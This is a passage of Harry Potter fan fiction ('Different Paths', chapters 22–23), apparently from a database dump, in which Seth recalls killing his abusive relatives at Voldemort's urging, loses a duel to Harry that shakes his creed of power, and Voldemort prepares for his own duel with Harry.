you?&#8221; yelled the middle aged man.&nbsp; His fist connected with the cheek of a 13 year old boy.&nbsp; &#8220;You&#8217;re the one that&#8217;s a freak! &nbsp;All of you lot are freaks!&nbsp; Called me a squib and kicked me out of the family!&nbsp; Well I&#8217;m telling you wizard, you&#8217;re the freak, Soran!&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Seth looked up at the man and smiled.&nbsp; &#8220;Yes Uncle Tobias.&nbsp; You are right, I am a freak.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;What are you smiling at boy?&#8221; shrieked the man.&nbsp; He struck Seth so hard the boy fell to the ground.&nbsp; &#8220;Don&#8217;t you dare call me &#8216;Uncle Tobias!&nbsp; It&#8217;s Mr. Thomason, you freak wizard!&nbsp; Mister!&nbsp; Don&#8217;t ever forget the Mister!&#8221;&nbsp; The man kicked Seth several times.&nbsp; &#8220;You should be grateful to me you ingrate!&nbsp; After that worthless sister of mine got killed, my family ended up with you, forever plagued by you wizarding freaks!&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Now, now I think that&#8217;s enough, dear,&#8221; said the man&#8217;s wife.&nbsp; &#8220;Don&#8217;t want him hurt that much, otherwise I can&#8217;t make him do all the chores around the house.&#8221;&nbsp; The man spat on the beaten up Seth and walked away.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Aw come on Mum, we haven&#8217;t had our go yet,&#8221; said one of the couples&#8217; two teenage sons.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Well OK,&#8221; said the wife.&nbsp; The two boys cheered and started to kick Seth.&nbsp; Eventually, they got bored of this and just left the highly beat up at Seth Soran on the ground.</i></p>\n\n<p><i></i></p>\n\n<p><i>Several hours later, long after the others had gone to bed, Seth had regained enough strength to sit up again.&nbsp; He sighed; he had been living with the Thomasons for nearly6 years, and had the scars to prove it.&nbsp; Amidst all the abuse he had gone through, Seth had learned to survive by burying his emotions deep within himself.&nbsp; Unfortunately, this only seemed to aggravate his relatives even furthermore.</i></p>\n\n<p><i></i></p>\n\n<p><i>It was then that Seth heard something from the backyard.&nbsp; Curiosity took over him and he crept over to the side of the house.</i></p>\n\n<p><i></i></p>\n\n<p>&#8220;Avada Kedavra!&#8221;<i> screamed a high-pitched voice.&nbsp; Seth gasped as he saw two men.&nbsp; One of them was black robed and facing away from Seth while pointing his wand at the other man, an eerie, green light flying out of the wand.&nbsp; The other man was very huge and muscular, dressed in a blue uniform, and was falling back as the green light hit him.&nbsp; Even Seth could tell that he was dead as he hit the ground with a thud.</i></p>\n\n<p><i></i></p>\n\n<p><i>The black robed turned to Seth and Seth gasped in fright.&nbsp; He was barely looked like a man, tall with white, stretched out skin making his face look like a skull.&nbsp; The fingers of his hands were rather elongated and the joints made them resemble spiders.&nbsp; But the most frightening aspect of the man were his eyes: scarlet eyes with slit pupils like those of a cat.&nbsp; Catching sight of the terrified Seth, the red-eyed man hissed, &#8220;So you saw what just happened!&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Seth took a few steps back, stumbled, and fell to the ground.&nbsp; He was now completely paralyzed with fear.&nbsp; The red-eyed man advanced onto him.&nbsp; &#8220;I can&#8217;t allow any witnesses to survive.&nbsp; So, I must kill you,&#8221; he said.&nbsp; He pointed his wand at Seth.&nbsp; He was about to chant the spell when he stopped and said, &#8220;Boy, what&#8217;s so funny?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Huh?&#8221;&nbsp; It was then that Seth noticed that he was grinning.&nbsp; &#8220;Huh?&nbsp; What&#8217;s wrong with me?&nbsp; Why am I smiling?&nbsp; Ha ha.&#8221;&nbsp; Seth tried to cover his face but he couldn&#8217;t stop himself from grinning. </i></p>\n\n<p><i></i></p>\n\n<p><i>The red-eyed man observed Seth for a while before he put his wand away and said, &#8220;Boy, hide me.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</i></p>\n\n<p><i></i></p>\n\n<p><i>Minutes later, Seth was in the shed behind the house, several feet away from where the red-eyed man was leaning against the wall, his hood pulled over his head.&nbsp; Timidly, Seth spoke up, &#8220;Um... um, sir...&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;My name is Tom Riddle.&nbsp; But only one person can call me by that name and live, and quite frankly you are not her,&#8221; said the red-eyed man.&nbsp; &#8220;You may call me Voldemort.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;OK, Mr. Voldemort,&#8221; said Seth.&nbsp; &#8220;Um, I saw you kill that man outside.&nbsp; Does that mean you&#8217;re a bad person?&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;If you&#8217;re going to call anyone bad it&#8217;ll be them,&#8221; said Voldemort, lowering his hood.&nbsp; &#8220;That was an Auror of the Ministry of Magic.&nbsp; Oh, the stories I could tell you about the Ministry.&nbsp; Within the next few days, they&#8217;re most likely going to start a campaign denying my return, thus opening the way for more chaos and destruction.&nbsp; They&#8217;re nothing more than a bunch of self-serving, cowardly hypocrites.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;So, you&#8217;re a good person then,&#8221; said Seth hesitantly.</i></p>\n\n<p><i></i></p>\n\n<p><i>Voldemort grinned at Seth, his red eyes flashing.&nbsp; &#8220;Oh no, I would be evil incarnate.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Seth ducked down behind some barrels, cowering in fear.&nbsp; &#8220;Calm down, I&#8217;m not going to kill you,&#8221; said Voldemort.&nbsp; &#8220;Which brings me to the point of why I&#8217;m not killing you.&nbsp; Why did you smile?&nbsp; My curiosity has been touched far too much to kill you without finding out the answer.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Seth timidly started speaking again, &#8220;Well you see, I&#8217;m a wizard, and my uncle is my only living relative so I have to live him and his family.&nbsp; Ever since I was little, they constantly beat me, and back then, I would cry when I was beaten.&nbsp; The problem was, they would hate it when I cried and beat me even harder.&nbsp; So eventually, I started thinking that perhaps if I smiled, they wouldn&#8217;t beat me up as much.&nbsp; So I started smiling whenever something unpleasant happened to me and it eventually became a habit.&nbsp; Ironically, they took offense to my smiling and started beating me even more so, so I guess it&#8217;s just a messed cycle.&#8221;&nbsp; Seth smiled shyly.&nbsp; &#8220;Still, I guess I deserve it right?&nbsp; After all, I&#8217;m just the freak that they got landed with and I guess it&#8217;s a small price for staying here.&nbsp; I am the moocher after all, I deserve it.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;That&#8217;s not true,&#8221; said Voldemort.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;What?&#8221; said Seth, looking up, quite startled.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;The reason why the squib and muggles beat you is because you are weak,&#8221; said Voldemort.&nbsp; &#8220;Since those muggles are stronger than you, they naturally want to hurt you, and trust me eventually they will kill you.&nbsp; It is a simple rule of nature my boy: there is no good or evil, only power, and those too weak to take it.&nbsp; The strong are fated to take power while the weak are fated to be devoured by the strong.&nbsp; No matter how much you try to hide behind your false smiles, you can&#8217;t escape that simple truth boy.&nbsp; You are a wizard, but you let muggles and squibs walk all over you because of your weakness.&nbsp; If you want to live up to your wizard potential, you&#8217;re going to have to become stronger and learn to walk all over muggles yourself.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Voldemort started fishing through the sleeve of his robe until he finally extracted another wand, similar to his own.&nbsp; Voldemort tossed the wand to the confused Seth and he caught it.&nbsp; &#8220;The words you want to use are &#8216;Avada Kedavra&#8217;,&#8221; said the Dark Lord.&nbsp; &#8220;It is your choice whether you want to use it or not.&nbsp; But remember, they will eventually kill you, unless you kill them first.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</i></p>\n\n<p><i></i></p>\n\n<p><i>Sometime later, Seth was sitting outside examining the wand Voldemort had given him.&nbsp; He couldn&#8217;t deny that Voldemort&#8217;s words had affected him deeply, but he was still hesitant.&nbsp; Voldemort&#8217;s words repeated themselves through his head:</i> there is no good or evil, only power, and those too weak to take it.&nbsp; The strong are fated to take power while the weak are fated to be devoured by the strong.</p>\n\n<p>&#8216;Still, killing is wrong,&#8217;<i> thought Seth.&nbsp; </i>&#8216;Mr. Voldemort may have a point but he even admits that he&#8217;s an evil person from the viewpoint of others.&nbsp; Yes, I should probably give this wand back to him.&nbsp; After all, my uncle and his family, no matter how much they hurt me, won&#8217;t ever actually kill me, would they?&#8217;<i></i></p>\n\n<p><i></i></p>\n\n<p><i>As Seth thought of this, he heard some shouting coming from the inside of the house.&nbsp; Seth hurriedly hid the wand under the doormat and scurried inside.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;You!&#8221; screamed his uncle as Seth stepped into the house.&nbsp; His uncle grabbed him by his shirt collar and threw him to the ground.&nbsp; &#8220;Explain yourself!&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;W-what?&#8221; asked Seth.&nbsp; He had no idea what his uncle was talking about.</i></p>\n\n<p><i></i></p>\n\n<p><i>His older cousin looked positively gleeful.&nbsp; &#8220;Guess what we found in the flowerbed,&#8221; he said with a sadistic, singsong voice.</i></p>\n\n<p><i></i></p>\n\n<p><i>Seth paled.&nbsp; He had buried the body of the man Voldemort had killed in the flowerbed.&nbsp; Seth&#8217;s uncle started kicking him.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;You twisted freak!&#8221; yelled his uncle.&nbsp; &#8220;Sick twisted freak!&nbsp; You&#8217;ve been harboring a murderer in the backyard shed!&nbsp; Probably another wizarding freak like yourself!&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Ha they&#8217;re all a like!&#8221; hissed the younger cousin.&nbsp; &#8220;Stick to their own kind while they slowly wipe us ordinary folk out.&nbsp; They&#8217;re dangerous I tell you.&nbsp; This kid is dangerous.&nbsp; Who knows how long we can keep him until he turns on us!&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Well that&#8217;s not going to happen!&#8221; yelled his uncle kicking Seth a few more times fiercely.&nbsp; &#8220;I&#8217;m throwing him out now!&#8221;&nbsp; For a brief moment, Seth&#8217;s spirits rose.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;No, too risky,&#8221; said the wife.&nbsp; &#8220;He might come back for revenge some day.&nbsp; I&#8217;d say kill him now, and blame that murderer in the shed before we turn him in to the police.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>Seth truly felt like he was going to be sick.&nbsp; &#8220;W-what?&#8221; he stuttered.&nbsp; He looked up at the four surrounding him and saw that they were all now wearing sick, twisted grins.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Of course!&nbsp; Of course!&#8221; said the younger cousin almost too gleefully.&nbsp; Seth recoiled in horror as he realized that the younger cousin was carrying a large butcher&#8217;s knife.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;No more scaring us in the middle of the night, wizard!&#8221; said the uncle, &#8220;That ends here now!&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;No more freak!&nbsp; No more freak!&nbsp; Just one chop and he&#8217;s finished with!&#8221; crowed the wife.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Too bad I&#8217;ll be losing my torture toy,&#8221; said the older cousin.&nbsp; &#8220;But hey, this is far more worth it!&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Yaaaaah!&nbsp; Die Freak!&nbsp; Die!&#8221; screamed the younger cousin, wielding the butcher&#8217;s knife.</i></p>\n\n<p><i></i></p>\n\n<p><i>None of this reached Seth&#8217;s head.&nbsp; All he could hear were Voldemort&#8217;s words</i>: There is no good or evil, only power, and those too weak to take it.&nbsp; The strong are fated to take power while the weak are fated to be devoured by the strong.</p>\n\n<p><i>&#8220;No!&#8221; screamed Seth.&nbsp; He managed to scramble to his feet and escape from the house just as the butcher knife came down where he was previously.&nbsp; </i>&#8216;Help me!&nbsp; Somebody please help me!&#8217;<i> he frantically thought as he ran as fast as he could, the knife wielding cousin not too far behind him.&nbsp; </i>&#8216;Help me!&nbsp; Mr. Voldemort help me!&#8217;<i>&nbsp; It was only then that Seth noticed he was now outside where he had hidden the wand Voldemort had given him.&nbsp; Once again Voldemort&#8217;s words echoed in his mind: </i>There is no good or evil, only power, and those too weak to take it.&nbsp; The strong are fated to take power while the weak are fated to be devoured by the strong.<i>&nbsp; Seth hurriedly grabbed the wand just as the younger cousin caught up with him.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Oh my, the freak&#8217;s got a stick!&#8221; mocked the cousin as he brandished the butcher&#8217;s knife.&nbsp; &#8220;What are you going to do?&nbsp; Throw the stick at me?&nbsp; Beat me with it?&nbsp; Oh please.&nbsp; Now DIE!!!&#8221;&nbsp; The younger cousin swung his knife at Seth.</i></p>\n\n<p><i></i></p>\n\n<p><i>Relying solely on instinct, Seth pointed the wand and shouted, </i>&#8220;Avada Kedavra!&#8221;<i></i></p>\n\n<p><i></i></p>\n\n<p><i>Hearing the scream, the delightful family piled outside only to find the corpse of their son lying in front of Seth.&nbsp; Their evil smirks instantly turned to screams of terror.</i></p>\n\n<p><i></i></p>\n\n<p><i>Seth seemed to be barely aware of his surroundings.&nbsp; He tonelessly said, &#8220;There is no good or evil, only power, and those too weak to take it.&nbsp; The strong are fated to take power while the weak...&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;You murdering freak,&#8221; screamed the uncle as he and his remaining son launched themselves at Seth, intending to kill him right there.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;...are fated to be devoured by the strong!&#8221; yelled Seth.&nbsp; </i>&#8220;Avada Kedavra!&#8221;</p>\n\n<p><i>Some time later, Voldemort found Seth standing in the pouring rain, the lifeless corpses of his family surrounding him.&nbsp; &#8220;Are you crying?&#8221; asked Voldemort.</i></p>\n\n<p><i></i></p>\n\n<p><i>Seth hesitated for a moment before looking up at Voldemort and smiling.&nbsp; &#8220;No,&#8221; he said.&nbsp; Voldemort grinned and started walking out of the yard.&nbsp; Seth followed after him.&nbsp; &#8220;Mr. Voldemort, will I ever be as strong as you?&#8221; he asked.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Of course you will,&#8221; said Voldemort.&nbsp; &#8220;You&#8217;ll be strongest of all, second only to me.&#8221;</i></p>\n\n<p><i></i></p>\n\n<p>&#8220;Enough of that,&#8221; said Seth snapping back to the present as he finished tieing his shoelaces.&nbsp; &#8220;Well, time to continue on and show just how obsolete Mr. Potter&#8217;s way of thinking really is.&#8221;&nbsp; He quickly stood up, stomped around a little to make sure his shoes were all right and turned back to Harry.</p>\n\n<p>&#8220;OK, lets go,&#8221; said Harry, somewhat rejuvenated due to Snape&#8217;s healing potion that Sirius was still carrying around.</p>\n\n<p>Seth didn&#8217;t waste time, immediately launching into the &#8216;Fleet Foot&#8217; 90% and dashing around the room, further demolishing the floor, walls, and ceilings like a machinegun.&nbsp; Harry immediately conjured his magical blade and waited patiently.</p>\n\n<p>&#8220;There is no good or evil, only power, and those too weak to take it.&nbsp; The strong are fated to take power while the weak are fated to be devoured by the strong,&#8221; said Seth as he dashed around.</p>\n\n<p>&#8220;What?&#8221; exclaimed Harry.&nbsp; He knew those words: it was Voldemort&#8217;s philosophy.&nbsp; He parried his blade a few times, deflecting a few of Seth&#8217;s blows.</p>\n\n<p>&#8220;You believe that the powerful should protect the weak,&#8221; said Seth as he slashed at Harry once more.&nbsp; &#8220;Yet, there was no one to protect me when I was being hurt.&nbsp; No one cared for me when they tried to kill me.&nbsp; If it wasn&#8217;t for Mr. Voldemort and his way of thinking, I would&#8217;ve been killed, by my own family.&#8221;&nbsp; Harry barely managed to block Seth&#8217;s slash but he seemed to be adapting to Seth&#8217;s hit and run tactics.</p>\n\n<p>Harry yelled <i>&#8220;Impedimenta!&#8221;</i> but unfortunately missed Seth.&nbsp; Seth still sped around slashing at Harry, while Harry blocked each blow and sent out the occasional hex.</p>\n\n<p>&#8220;Tell me who was there to protect me?&#8221; said Seth once more.&nbsp; &#8220;No one protected me.&nbsp; I was weak, so I had to become strong to survive.&nbsp; How much I wanted someone to protect me, but that was not so.&nbsp; Your philosophy is wrong Mr. Potter.&nbsp; Otherwise who was there to protect me?&nbsp; Answer me that Mr. Potter.&#8221;&nbsp; Seth slashed at Harry once more.</p>\n\n<p>This time however, Harry was prepared.&nbsp; He managed to deflect Seth&#8217;s blade with his own, whereupon he grabbed Seth&#8217;s right wrist with his left hand, completely halting Seth&#8217;s &#8216;Fleet Foot&#8217; dash.&nbsp; Seth&#8217;s body went through a sudden shock from being abruptly stopped from the &#8216;Fleet Foot&#8217;.</p>\n\n<p>&#8220;I think I understand what you&#8217;ve been through,&#8221; said Harry.&nbsp; &#8220;I&#8217;m from a similar background myself, and I was lucky in being taken away from it by Hagrid.&nbsp; I guess you weren&#8217;t that lucky.&nbsp; However, that philosophy is still flawed, because if you think about it, it was Voldemort who saved you in a strange twisted way: the strong protected the weak.&#8221;</p>\n\n<p>&#8220;What?&#8221; exclaimed Seth, completely taken aback.</p>\n\n<p>&#8220;I&#8217;m not telling you which philosophy is right or wrong,&#8221; said Harry.&nbsp; &#8220;I want you to think and decide for yourself which one is the right one or the wrong one.&nbsp; But before you do think, just answer me one question: when you decided which path to follow, were you really satisfied by it?&#8221;</p>\n\n<p>Harry&#8217;s words triggered a memory in Seth&#8217;s mind: <i>&#8220;Are you crying?&#8221; asked Voldemort.</i></p>\n\n<p><i></i></p>\n\n<p><i>Seth hesitated for a moment before looking up at Voldemort and smiling.&nbsp; &#8220;No,&#8221; he said.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8216;But that&#8217;s not true!&#8217;</i> screamed a voice in Seth&#8217;s mind.&nbsp; <i>&#8216;I was crying that night!&nbsp; I was crying, like I still am crying!&nbsp; Still am crying!&#8217;</i></p>\n\n<p>&#8220;Nooooooooo!!!!!!!!&#8221; screamed Seth.&nbsp; Yasmin gasped in shock.</p>\n\n<p><i>&#8216;My God!&nbsp; His emotions have resurfaced!&#8217;</i> she thought.</p>\n\n<p>&#8220;You mess with my mind too much!&#8221; gasped Seth, holding his head.&nbsp; &#8220;I don&#8217;t care about which philosophy is right or wrong now, I am going to kill you with my next attack!&#8221;&nbsp; Seth broke away from Harry and lowered himself into a battle ready stance.&nbsp; &#8220;Avada Kedavra from &#8216;Fleet Foot&#8217; 100%.&nbsp; Unstoppable and Undodgeable,&#8221; said Seth.&nbsp; &#8220;Lets see how your you stand up against this.&#8221;</p>\n\n<p>&#8220;Guess I&#8217;m left with no choice than,&#8221; said Harry.&nbsp; He started moving his wand in the formation of the constellation Leo.</p>\n\n<p><i>&#8216;He&#8217;s going to use the Stellar Patronus,&#8217;</i> thought Sirius.</p>\n\n<p><i>&#8216;I&#8217;ll decide once and for all which one is correct with this last hit,&#8217;</i> thought Seth.&nbsp; <i>&#8216;If Mr. Voldemort&#8217;s philosophy is correct there is no way I could lose against Mr. Potter, and vice versa.&nbsp; Whichever way, I&#8217;ll find out once and for all with the &#8220;Fleet Foot&#8221; 100% and the Avada Kedavra Curse!&#8217;</i></p>\n\n<p>&#8220;Lets go!&#8221; exclaimed Seth.&nbsp; He suddenly completely disappeared.</p>\n\n<p><i>&#8216;This is &#8220;Fleet Foot&#8221; 100%?&#8217;</i> thought Sirius.&nbsp; <i>&#8216;Completely silence unlike before: he&#8217;s all but disappeared, completely untraceable.&nbsp; How is Harry going to combat this?&#8217;</i>&nbsp; It was then when Harry also disappeared, only with an audible pop.&nbsp; <i>&#8216;Short distance apparation?&nbsp; Of course, Harry can&#8217;t keep up with Seth&#8217;s &#8220;Fleet Foot&#8221; but even Seth has to stop briefly to attack.&nbsp; If Harry apparates right into that spot where Seth attacks, he&#8217;ll be able to get an attack on Seth, on completely equal terms.&#8217;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Avada Kedavra!&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Astra Patronum Leo!&#8221;</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8216;Their skills are completely equal,&#8217;</i> thought Sirius.&nbsp; <i>&#8216;Which means victory will be determined by their differences in their raw magical power.&#8217;</i></p>\n\n<p>Harry&#8217;s patronal lion blasted right through the green flash of Seth&#8217;s killing curse, completely absorbing it.&nbsp; The lion charged straight into Seth and it threw his body into the ceiling while also snapping his wand.&nbsp; Seth fell back to the ground with a thud.</p>\n\n<p>&#8220;Seth!&#8221; screamed Yasmin.&nbsp; Though completely battered, Seth was still conscious.</p>\n\n<p>&#8220;Amazing, the exact opposite outcome of our duel in Graypine,&#8221; said Seth, referring to his snapped wand.&nbsp; &#8220;Well, I guess you were right Mr. Potter.&nbsp; Your philosophy is the correct...&#8221;</p>\n\n<p>&#8220;I&#8217;m afraid it&#8217;s not going to be that easy,&#8221; said Harry.&nbsp; &#8220;If you were deciding on which philosophy was the correct one by who won, then by that logic Voldemort&#8217;s philosophy would be the correct one: I won because I was the more powerful.&nbsp; No, from now on, you&#8217;re going to have to think for yourself, and decide which one is the correct philosophy.&#8221;</p>\n\n<p>Seth looked surprised before he sighed and ran his fingers through his bangs.&nbsp; &#8220;Think for myself, rather than be told what to think.&nbsp; Gee whiz, Mr. Potter, you&#8217;re a lot more strict than Mr. Voldemort,&#8221; he said as a tear ran down his face.</p>\n\n<p><b>To be continued...</b></p>\n\n<p>A/N Aye yai yai, that turned out to be the longest chapter of this fic yet.&nbsp; In fact, it could very well turn out to be the longest chapter of the entire fic all together.&nbsp; I even considered breaking it into two chapters for a while, but I guess people might enjoy one long chapter anyway.&nbsp; So R/R.&nbsp; Next: Finally, VOLDEMORT!!!</p> '),
	(33, 23, ' <p><b>Title:</b> Different Paths (23)<br>\n\n\n<b>Author name:</b>\n\n<a href="http://www.fictionalley.org/fictionalleypark/forums/member.php?action=getinfo&userid=1952">E. C. R. Potter</a><br>\n\n\n<b>Author email:</b>\n\n<a href="mailto:ecrpotter@hotmail.com">ecrpotter@hotmail.com</a><br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Pre-OotP.&nbsp; Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author notes:</b> I have spent just about a year working on this fic, and it&#8217;s not quite finished yet.&nbsp; Almost finished but not yet.&nbsp; Not yet.&nbsp; I&#8217;m going to thank all my readers now who stuck with me on this fic for the past year.&nbsp; I admit it&#8217;s been a long road.&nbsp; So please, enjoy the last few chapters of this fic.</p>\n\n<p><b></b></p>\n\n<p><b>Chapter 23: Duel against the Dark Lord ~ Round 1</b></p>\n\n<p>&#8220;Are you feeling any better?&#8221; asked Yasmin.&nbsp; She was sitting in the middle of Seth&#8217;s demolished room, cradling Seth&#8217;s head in her lap.</p>\n\n<p>&#8220;Much,&#8221; replied Seth.&nbsp; &#8220;I must say your lap is making me feel exceptionally well.&#8221;</p>\n\n<p>&#8220;Don&#8217;t make me drop your head, Seth,&#8221; said Yasmin rather curtly.</p>\n\n<p>Seth chuckled before standing up.&nbsp; &#8220;Before I leave, I must give you two things,&#8221; he said.&nbsp; He wobbled over to one of his drawers and rummaged through it before pulling out a battered up wand.&nbsp; &#8220;This wand is the original wand Mr. Voldemort gave me when I hid him in the shed all those years ago.&nbsp; It is with this wand that I made my first kills: my foster family.&nbsp; I want you to return this to Mr. Voldemort for me.&#8221;</p>\n\n<p>&#8220;Seth?&nbsp; How come?&#8221;</p>\n\n<p>&#8220;Whichever philosophy is true, it doesn&#8217;t change the fact that it was Mr. Voldemort who saved my life all those years ago.&nbsp; If it hadn&#8217;t been for him, his philosophy, and this wand he gave me, I would be dead.&nbsp; This is a sign of my gratitude as well as the sign that I am now independent from him.&#8221;</p>\n\n<p>Yasmin took the wand.&nbsp; &#8220;And what was the other thing?&#8221;</p>\n\n<p>&#8220;The other thing is the secret of Mr. Potter&#8217;s Stellar Patronus.&#8221;</p>\n\n<p>Yasmin&#8217;s eyes widened.&nbsp; &#8220;You mean you were able to figure out the secret?&#8221;</p>\n\n<p>&#8220;Not of how Mr. Potter casts the spell,&#8221; said Seth.&nbsp; &#8220;However, I managed to observe the intricate details of the mechanics of his spell.&nbsp; You see when most right-handed people cast a spell, they habitually step their right foot forward to cast the spell.&nbsp; In Mr. Potter&#8217;s case however he needs to move his wand in the form of the constellation Leo.&nbsp; It appeared to me that he steps his right foot during that wand movement and then further takes another step with his left foot while casting the spell.&nbsp; Since Mr. Potter is right handed, this opens a very slim margin where he is rather vulnerable.&#8221;</p>\n\n<p>&#8220;And you think this information will be of assistance to Tom?&#8221; asked Yasmin.</p>\n\n<p>&#8220;If anybody can take advantage of this information, it&#8217;ll be Mr. Voldemort,&#8221; said Seth.&nbsp; &#8220;You may take the hidden passageway behind the dresser: it&#8217;ll get you to the throne room far faster than Mr. Potter and Mr. Black.&nbsp; And now, I bid you a fond farewell.&#8221;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;So, Seth said that did he?&#8221; said Voldemort.&nbsp; He was sitting on his throne, examining Seth&#8217;s old wand as Yasmin and Horace looked on.&nbsp; &#8220;Well, if he&#8217;s decided to go independent, I&#8217;ll have to live with that.&nbsp; For the time being that is.&nbsp; In the mean time, I&#8217;ll freely use the information he has given to me, to finally crush Harry Potter once and for all!&#8221;&nbsp; Saying that, the Dark Lord crushed the wand in his hand into two.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Later, in the final arena, Voldemort was chuckling as he batted his wand around.&nbsp; Horace was standing not too far behind him.&nbsp; &#8220;You are looking forward to this, are you not Master?&#8221; he asked.</p>\n\n<p>&#8220;Oh, I am truly looking forward to this,&#8221; said Voldemort.&nbsp; &#8220;How long has it been since I&#8217;ve faced someone on equal terms?&nbsp; How long has it been since I have faced a true challenge?&nbsp; Believe me Horace, I have been waiting for this duel for years now.&#8221;</p>\n\n<p><i>&#8216;Perhaps so my lord,&#8217;</i> thought Horace.&nbsp; <i>&#8216;But even so, I must think of the position of the future of the Dark Arts.&nbsp; In the unlikely event of the tide turning against my Lord I will intervene, even if it means breaking the First Fundamental Rule of Wizard Dueling and thus forfeiting my magic and my life.&#8217;</i>&nbsp; Secretly, out of Voldemort&#8217;s view, Horace placed his hand on his wand, hidden underneath his cloak.</p>\n\n<p>Meanwhile, Harry and Sirius had just barged into the throne room and were quite surprised to find it empty save Yasmin.&nbsp; &#8220;You&#8217;re late, what took you so long?&#8221; she asked.</p>\n\n<p>Sirius&#8217;s jaw dropped.&nbsp; &#8220;What the!&nbsp; How did you arrive here before us?&#8221;</p>\n\n<p>&#8220;Never mind that now,&#8221; said Yasmin.&nbsp; &#8220;Our Lord has designated the Battle Arena as the place for his duel.&nbsp; You will follow me and I will lead you to it.&#8221;&nbsp; Without waiting for a response, Yasmin pointed to the wall behind the throne and said, <i>&#8220;Alohomora.&#8221;</i>&nbsp; A section of the wall opened up, not too dissimilar to the entrance to Diagon Alley, revealing an archway that led to another cavern.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius turned to Harry and said, &#8220;You ready for this?&#8221;</p>\n\n<p>&#8220;As ready as I&#8217;ll ever be,&#8221; replied Harry.&nbsp; </p>\n\n<p>&#8220;OK, quick review of the Fundamental Rules of Wizard Dueling,&#8221; said Sirius.</p>\n\n<p>Harry rolled his eyes but recited: &#8220;Number 1: a wizard or witch must never intervene in another wizard&#8217;s duel unless he or she&#8217;s the backup in case the dueler falls.&nbsp; Number 2: in a wizard duel there is a challenger and the challenged.&nbsp; The challenged gets to choose the details of the duel and even when to call it off while the challenger must abide to the challenged&#8217;s rules and must see the entire duel through.&nbsp; Number 3: a dueler is allowed to use any available weapon or method of combat, so long as it isn&#8217;t denied by the Second Rule.&nbsp; Number 4: if a dueler&#8217;s wand is destroyed, then the dueler may take a spare wand from a bystander if he chooses, so long as the bystander doesn&#8217;t intervene in the duel itself.&nbsp; Any breaking of these rules will result in the loss of magical powers of the one who breaks the rule, meaning he or she becomes a squib.&#8221;</p>\n\n<p>&#8220;You forgot number 5,&#8221; said 